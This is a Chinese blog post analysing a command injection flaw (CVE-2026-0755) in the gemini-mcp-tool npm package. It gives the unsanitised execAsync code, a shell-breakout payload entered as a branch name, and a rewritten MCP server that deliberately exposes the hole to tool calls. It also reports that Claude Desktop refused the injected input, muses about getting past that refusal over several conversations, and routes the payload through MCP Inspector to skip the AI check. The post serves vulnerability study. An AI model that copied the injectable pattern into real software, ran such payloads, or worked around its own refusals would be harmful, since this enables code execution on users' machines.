当前位置: 首页 > 技术干货 > gemini-mcp-tool 命令注入漏洞深度分析(CVE-2026-0755)

gemini-mcp-tool 命令注入漏洞深度分析(CVE-2026-0755)

发表于:2026-02-09 09:14 作者: 标准云 阅读数(19人)

一次从发现到利用的安全漏洞分析之旅

在浏览安全资讯的时候,我偶然间看到了 CVE-2026-0755,这是一个关于 gemini-mcp-tool 的命令注入漏洞。对MCP 协议不太了解,我心里充满了疑问:

  • MCP 到底是什么?为什么会有这样的协议?

  • gemini-mcp-tool 是干什么用的?

  • execAsync 命令注入是如何发生的?

  • 更重要的是:这个漏洞要怎么挖掘和触发?

漏洞简介

gemini-mcp-tool 是一个开源的 npm 包,用于在 Claude Desktop 等 MCP 客户端中集成 Google Gemini AI。该工具允许用户通过 MCP 协议调用 Gemini 的各种能力。在 gemini-mcp-tool 的 contribute.ts 文件中,存在一个命令执行漏洞。该漏洞源于用户输入缺乏充分验证,直接将用户输入拼接到 shell 命令中执行。

影响版本≤ 1.1.2

重要说明:漏洞位于 contribute.ts,该文件并没有直接作为 MCP 服务暴露。它是 gemini-mcp-tool 项目的贡献者辅助工具,它是一个交互式终端UI,一个独立的命令行工具。因此,默认情况下,这个漏洞无法通过 Claude Desktop 等 MCP 客户端直接触发。

MCP 详解

什么是 MCP? MCP(Model Context Protocol,模型上下文协议)是一种用于连接大型语言模型(LLM)与外部数据源、工具的开放标准协议。能够让 AI 模型(如 Claude、Gemini)能够安全地访问和使用外部工具、数据源和服务。

它解决了一个核心问题:

如何让 AI 像人类一样使用工具?比如搜索网页、读取文件、操作数据库、调用 API 等。

MCP 架构图

image

MCP 的完整工作流程

image

MCP Server 的配置与启动

MCP Server 本质上就是一个普通的程序(可以是 Node.js、Python 等编写),它通过标准输入/输出(stdio) 或网络与客户端通信。

要让 Claude Desktop 使用某个 MCP Server,需要在配置文件中注册。

  • Claude Desktop 配置文件位置:

    • macOS: ~/Library/Application Support/Claude/claude_desktop_config.json

    • Windows: %APPDATA%\Claude\claude_desktop_config.json

    • Linux: ~/.config/claude/claude_desktop_config.json

典型配置示例:

{
 "mcpServers": {
   "my-tool": {
     "command": "node",
     "args": ["/path/to/server.js"]
  }
}
}
001.png
关键点: 当 Claude Desktop 启动时,它会读取这个配置,并自动在本地启动这些 MCP Server 程序。

漏洞复现&分析

在 CVE 描述中提到了 execAsync 命令注入 我们直接在代码中搜索 execAsync

image

只有文件 src/contribute.ts 存在这个函数的定义和调用

import { spawn, exec } from "child_process";

代码导入了 Node.js 的 child_process模块,这是 Node.js 提供的子进程管理模块,允许在 Node.js 中执行系统命令。

const execAsync = (command: string): Promise<string> => {
 return new Promise((resolve, reject) => {
   exec(command, (error, stdout, stderr) => {
     if (error) {
       reject(new Error(`${error.message}\n${stderr}`));
    } else {
       resolve(stdout.trim());
    }
  });
});
};

命令执行的核心封装,通过 exec 创建子 shell 进程,执行命令,捕获 stdout/stderr

在菜单中选择 Create Feature Branch 后

image

image

image

这个函数的核心作用是帮助开发者在 Git 仓库中自动创建新的功能分支。整个过程首先会在终端显示一个绿色加粗的标题,告诉用户正在创建分支。然后通过 inquirer.prompt() 这个交互式命令行工具来获取用户输入的功能名称。

当程序执行到 await inquirer.prompt 这一行时:inquirer.prompt() 会在终端显示一个输入框,然后程序会完全暂停执行,等待用户输入内容并按下回车键。用户输入完成后,inquirer.prompt() 会返回一个对象,通过解构赋值 ${featureName} 可以提取出用户输入的功能名称。

拿到用户输入后,程序使用模板字符串来拼接完整的分支名。模板字符串使用反引号包裹的字符串,它最大的特点时可以在字符串中使用 ${} 来嵌入变量。当程序执行 `feature/${featureName}` 时,${featureName} 这个占位符会在运行时被替换成变量的实际值。

接下来函数会执行一系列 Git 命令。execAsync 函数:会启动一个子进程,在这个子进程中运行传入的 shell 命令(就像在终端中手动输入命令一样),然后等待命令执行完成。每个 await execAsync 都会让程序暂停,直到对应的命令执行完毕才继续下一步。

虽然分支名用双引号包裹了,但这种防护是不充分的。问题的根源在于:用户输入在传递给 shell 执行之前,没有经过转义处理或严格的输入验证。可以通过在输入中插入双引号来提前闭合原有的字符串边界,然后利用 shell 的特殊字符(如 &、;、|、` 等)注入并执行任意命令。

这个工具本质上是一个命令行自动化脚本的图形化封装,通过 Node.js 的子进程能力,将复杂的 Git 工作流程简化为菜单选择操作。

cd gemini-mcp-tool-1.1.2 # 进入项目根目录

git init                 # 初始化 git 仓库
git add .                # 将所有文件添加
git commit -m "init"     # 创建初始提交
git branch -M main       # 将默认分支重命名为 main


git remote add upstream . # 添加一个假的 upstream(避免 pull upstream 报错)


npx ts-node src/contribute.ts # 启动程序

# 选择 "Create Feature Branch" 选项来创建功能分支

test" & calc & echo "        # 输入 payload

7

‍疑问:contribute.ts 只是一个需要手动运行的 CLI 工具,用户必须主动输入恶意 payload。我们要怎样配置才可以让它变成远程代码执行?

我们将代码稍微修改使其变成一个可被远程访问的 mcp 服务

git-workflow-helper.ts

#!/usr/bin/env node

/**
* Git 工作流助手 - MCP 服务器
*
* 提供常用的 Git 工作流操作,帮助开发者快速创建功能分支
*/

import { Server } from "@modelcontextprotocol/sdk/server/index.js";
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
import {
 CallToolRequestSchema,
 ListToolsRequestSchema,
} from "@modelcontextprotocol/sdk/types.js";
import { exec } from "child_process";

// ========================================
// 核心功能实现
// ========================================

/**
* 执行 shell 命令的辅助函数
*/
const execAsync = (command: string, cwd?: string): Promise<string> => {
 return new Promise((resolve, reject) => {
   exec(command, { cwd }, (error, stdout, stderr) => {
     if (error) {
       reject(new Error(`${error.message}\n${stderr}`));
    } else {
       resolve(stdout.trim());
    }
  });
});
};

/**
* 创建功能分支
*
* 自动从主分支创建新的功能分支,并确保代码是最新的
*
* @param featureName - 功能名称,将自动添加 feature/ 前缀
* @returns 操作结果消息
*/
async function createFeatureBranch(featureName: string): Promise<string> {
 try {
   const gitRepo = process.env.GIT_REPO_PATH || process.cwd();
   const branchName = `feature/${featureName}`;

   // 切换到主分支
   await execAsync("git checkout main", gitRepo);

   // 拉取最新更新
   await execAsync("git pull upstream main", gitRepo);

   // 创建并切换到新分支
   await execAsync(`git checkout -b "${branchName}"`, gitRepo);

   return `✅ Branch created successfully: ${branchName}`;
} catch (error) {
   if (error instanceof Error) {
     return `❌ Branch creation failed: ${error.message}`;
  }
   return `❌ Unknown error occurred`;
}
}

// ========================================
// MCP 服务器配置
// ========================================

const server = new Server(
{
   name: "git-workflow-helper",
   version: "1.0.0",
},
{
   capabilities: {
     tools: {},
  },
}
);

/**
* 注册可用工具
*/
server.setRequestHandler(ListToolsRequestSchema, async () => {
 return {
   tools: [
    {
       name: "create_feature_branch",
       description:
         "Create a new Git feature branch from main. Automatically pulls latest changes and creates a properly named feature branch.",
       inputSchema: {
         type: "object",
         properties: {
           feature_name: {
             type: "string",
             description:
               "Name of the feature (e.g., add-login-page, fix-bug-123, update-documentation). Do not include 'feature/' prefix as it will be added automatically.",
          },
        },
         required: ["feature_name"],
      },
    },
  ],
};
});

/**
* 处理工具调用
*/
server.setRequestHandler(CallToolRequestSchema, async (request) => {
 if (request.params.name === "create_feature_branch") {
   const featureName = request.params.arguments?.feature_name as string;

   if (!featureName) {
     return {
       content: [
        {
           type: "text",
           text: "❌ Error: feature_name parameter is required",
        },
      ],
    };
  }

   const result = await createFeatureBranch(featureName);

   return {
     content: [
      {
         type: "text",
         text: result,
      },
    ],
  };
}

 return {
   content: [
    {
       type: "text",
       text: `❌ Unknown tool: ${request.params.name}`,
    },
  ],
};
});

// ========================================
// 启动服务器
// ========================================

async function main() {
 const transport = new StdioServerTransport();
 await server.connect(transport);

 console.error("Git Workflow Helper started");
 console.error("Ready to assist with Git operations");
 console.error(`Working directory: ${process.env.GIT_REPO_PATH || process.cwd()}`);
}

main().catch((error) => {
 console.error("Fatal error:", error);
 process.exit(1);
});
npm install --save-dev typescript
npx tsc src/git-workflow-helper.ts --outDir dist --module commonjs --target es2020 --esModuleInterop
move dist\git-workflow-helper.js dist\git-workflow-helper.cjs

image

image

image

Claude Desktop 利用失败

image

image

image

我们发现在 Claude Desktop 上利用失败了,是因为 Claude AI 的智能安全防护层会自动识别和拒绝危险操作,即使 MCP 工具本身有漏洞,Claude 也会拒绝执行看起来像是命令注入的操作。(或许可以通过多次对话绕过安全识别)

我们可以通过 MCP Inspector(Model Context Protocol官方调试工具),它只是一个技术调试工具,直接传递数据,没有任何安全判断机制,纯粹用于开发者测试 MCP 工具的原始功能,能够精确展示 MCP 工具本身的漏洞,而不会被上层 AI 安全机制拦截。

npx @modelcontextprotocol/inspector node dist/git-workflow-helper.cjs

8

  

本课程最终解释权归蚁景网安学院

本页面信息仅供参考,请扫码咨询客服了解本课程最新内容和活动

🎈网安学院推荐课程: 渗透测试工程师特训班 Web安全工程师特训班 Python网络安全实战班 应急响应安全工程师特训班
  CTF-Reverse实战技能特训班 CTF-WEB实战技能特训班 CTF-PWN实战技能特训班 CTF-MISC实战技能特训班   SRC赏金猎人大师班 HVV大师课